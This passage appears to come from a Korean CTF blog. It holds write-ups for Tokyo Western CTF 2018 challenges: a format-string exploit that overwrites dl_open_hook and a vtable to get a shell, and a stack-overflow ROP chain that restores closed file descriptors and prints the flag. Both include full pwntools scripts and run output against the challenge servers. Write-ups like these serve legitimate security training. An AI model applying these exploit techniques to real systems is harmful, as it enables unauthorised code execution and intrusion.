pie_base, libc_base, stack = map(lambda x: int(x, 16), ru('EOF')[:-3].strip().split(' '))
pie_base = pie_base - 0x201060
libc_base = libc_base - 0x3c3760
print 'pie_base : ',hex(pie_base)
print 'libc_base : ',hex(libc_base)
print 'stack : ', hex(stack)
dlopen_hook = libc_base + 0x3c62e0
freespace = pie_base + 0x201060 + 0x80
libc_onegadget = libc_base + 0xce0e1
libc_stdin_vtable = libc_base + 0x3c1998

def makeaddr(value, base):
global stack
for i in range(4):
print hex(value), base
print hex((stack + 0x10 + base + (i*2))%0x10000)
sl('%{}c'.format((stack + 0x10 + base + (i*2))%0x10000)+'%9$hn') # make next sfp = sfp + 0x10
time.sleep(0.2)
rr(0x10000)
chop = ((value >> 16 * i) & 0xffff)
if not chop :
sl('%11$hn')
else:
sl('%{}c'.format(chop)+'%11$hn')
time.sleep(0.2)
rr(0x10000)
time.sleep(0.2)
rr(0xffffff)

makeaddr(dlopen_hook, 0)
sl('aaaa%13$hn') # overwrite dl_open_hook (to bypass IO_vtable_check)
ru('aaaa')
makeaddr(libc_stdin_vtable, 0)
sl('aaaa')
ru('aaaa')
makeaddr(libc_stdin_vtable+2, 8)
sl('aaaa')
ru('aaaa')
makeaddr(libc_stdin_vtable + 4, 16)
sl('aaaa')
ru('aaaa')
raw_input('>')
trig = ''
remainder = 0
for i in range(0, 3):
tt = (freespace>>(i*16)) & 0xffff
if tt < remainder:
trig += '%{}c'.format((tt+0x10000) - remainder)
else:
trig += '%{}c'.format(tt-remainder)
trig += '%{}$hn'.format(13+i)
remainder = tt
trig += 'A'
trig += p64(libc_onegadget) * 0x14

sl(trig)

s.interactive()
s.close()



$ python ex.py
[+] Opening connection to neighbor.chal.ctf.westerns.tokyo on port 37565: Done
start

...............

pie_base : 0x5620f7202000
libc_base : 0x7f63c5c8e000
stack : 0x7ffc71fd1d60
0x7f63c60542e0 0
0x1d70
0x7f63c60542e0 0
0x1d72
0x7f63c60542e0 0
0x1d74
0x7f63c60542e0 0
0x1d76

................. `A� x\x9d\x83\x7f$
$ id
uid=37565116 gid=37565(p37565) groups=37565(p37565)
$ cat flag
TWCTF{????????????????????????????????}


'CTF' 카테고리의 다른 글

Tokyo Western CTF 2018 - BBQ  (0) 2018.09.10
Tokyo Western CTF 2018 - swap Returns  (0) 2018.09.03
Tokyo Western CTF 2018 - Neighbor C  (0) 2018.09.03
Tokyo Western CTF 2018 - load  (0) 2018.09.03
WhiteHat GrandPrix 2018 QUAL - pwn03 (onehit)  (0) 2018.08.24
SECCON 2017 QUAL - secure_keymanager  (0) 2018.08.22

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret


Category : pwnable



host : pwn1.chal.ctf.westerns.tokyo

port : 34835



Summary : stack bof, close(0);close(1);close(2), open("/dev/pts/0", O_RDWR) = 0, 1




Stack BOF



 


size 제한이 없기 때문에, control 가능한 파일이 있다면 bof를 일으킬 수 있다.

"/proc/self/fd/0" 을 열면 0(stdin)으로부터 입력받는 것과 같은 효과.

read(0, stack, n) 하는 꼴이 되어서 간단하게 eip control 가능.


$ ./load
Load file Service
Input file name: /proc/self/fd/0
Input offset: 0
Input size: 1000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
..........................................
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Load file complete!
Segmentation fault (core dumped)


Closed fd


 


곱게 끝나지 않는다. fd 0, 1, 2를 싹 다 close 하기 때문에 이를 복구해줄 필요가 있다.

ROP로 open("/dev/pts/0", 2)를 2번 호출해주면 fd 0, 1을 복구 가능.




#!/usr/bin/python

from pwn import *

s = remote('pwn1.chal.ctf.westerns.tokyo', 34835)
#s = process('./load')
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send

ru('Input file name: ')
s.sendline('/proc/self/fd/0'.ljust(0x10, '\x00')+'/dev/pts/0'.ljust(0x10, '\x00')+'/home/load/flag.txt'.ljust(0x20, '\x00'))

ru('Input offset: ')
s.sendline('0')

ru('Input size: ')
s.sendline('1000')

pop_rdi = 0x400a73
pop_rsi_r15 = 0x400a71
'''
0x0000000000400a73 : pop rdi ; ret
0x0000000000400a71 : pop rsi ; pop r15 ; ret
'''
name = 0x601040 + 0x10
flag_name = 0x601040 + 0x20
freespace = 0x601040 + 0x40
open_plt = 0x400710
puts_plt = 0x4006C0
read_file = 0x4008FD

pay = ''
pay += 'a' * 0x38
pay += p64(pop_rdi)
pay += p64(name)
pay += p64(pop_rsi_r15)
pay += p64(2)
pay += p64(0)
pay += p64(open_plt) # open("/dev/pts/0", O_RDWR) = 0

pay += p64(pop_rdi)
pay += p64(name)
pay += p64(pop_rsi_r15)
pay += p64(2)
pay += p64(0)
pay += p64(open_plt) # open("/dev/pts/0", O_RDWR) = 1

pay += p64(pop_rsi_r15)
pay += p64(flag_name)
pay += p64(0)
pay += p64(pop_rdi)
pay += p64(freespace)
pay += p64(read_file) # "/home/load/flag.txt into freespace"

pay += p64(pop_rdi)
pay += p64(freespace)
pay += p64(puts_plt)
ss(pay)
ru('Load file complete!')

s.interactive()
s.close()


$ python ex.py
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 34835: Done
[*] Switching to interactive mode

Load file complete!
TWCTF{????????????????????????}

Load file Service
Input file name: $



WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret